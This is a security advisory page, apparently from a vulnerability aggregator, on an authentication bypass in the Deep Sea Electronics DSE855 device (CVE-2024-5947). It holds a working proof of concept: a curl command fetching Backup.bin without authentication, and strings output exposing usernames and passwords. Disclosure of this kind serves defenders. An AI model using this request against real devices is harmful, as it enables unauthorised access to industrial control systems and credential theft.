Deep Sea Electronics DSE855 Remote Authentication Bypass

🗓️ 03 Jul 2024 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 326 Views

The DSE855 communications device is vulnerable to remote authentication bypass and privilege escalation, allowing attackers to access sensitive information and manipulate data

Reporter	Title	Published	Views	Family All 12
0day.today	Deep Sea Electronics DSE855 Remote Authentication Bypass Vulnerability	3 Jul 202400:00	–	zdt
Circl	CVE-2024-5947	1 Sep 202401:57	–	circl
CNNVD	Deep Sea Electronics DSE855 Security Vulnerability	13 Jun 202400:00	–	cnnvd
CVE	CVE-2024-5947	13 Jun 202419:40	–	cve
Cvelist	CVE-2024-5947 Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability	13 Jun 202419:40	–	cvelist
ICS	Deep Sea Electronics DSE855	24 Oct 202406:00	–	ics
Nuclei	Deep Sea Electronics DSE855 - Authentication Bypass	5 Jun 202603:02	–	nuclei
NVD	CVE-2024-5947	13 Jun 202420:15	–	nvd
Packet Storm	Deep Sea Electronics DSE855 Remote Authentication Bypass	3 Jul 202400:00	–	packetstorm
Positive Technologies	PT-2024-37261 · Deep Sea Electronics · Dse855	13 Jun 202400:00	–	ptsecurity

<html><body><p>Deep Sea Electronics DSE855 Remote Authentication Bypass


Vendor: Deep Sea Electronics plc
Product web page: https://www.deepseaelectronics.com
Affected version: Model: DSE855
                  Software version: 1.0.26
                  Module version: 1.0.78
                  Bootloader version: 1.0.3
                  Firmware version: 1.1.0

Summary: The DSE855 communications device allows monitoring of a single
DSE controller with USB connectivity over a LAN or WAN connection. To achieve
this the DSE855 utilises its in-built web server or MODBUS TCP. In order
to use over a LAN connection the on-site router must be configured to be
accessible from any global location.

Desc: The device is vulnerable to configuration disclosure when direct object
reference is made to the Backup.bin file using an HTTP GET request. This will
enable an attacker to disclose sensitive information and help her in authentication
bypass, privilege escalation and full system access.

Tested on: embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5825
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5825.php
ZDI ID: ZDI-24-671
ZDI CAN: ZDI-CAN-22679
ZDI URL: https://www.zerodayinitiative.com/advisories/ZDI-24-671/
ZDI Title: (0Day) Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability
CVE ID: CVE-2024-5947
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-5947


10.11.2023

--


$ curl -s -O http://target/Backup.bin
$ strings Backup.bin

DSEB
Admin
Password1234
Tech
Password1234
thricer
scada
rd1234
lokna
xela123
DSE855
</p></body></html>

03 Jul 2024 00:00Current

6.5Medium risk

Vulners AI Score6.5

CVSS 3.16.5

CVSS 36.5

EPSS0.74043

SSVC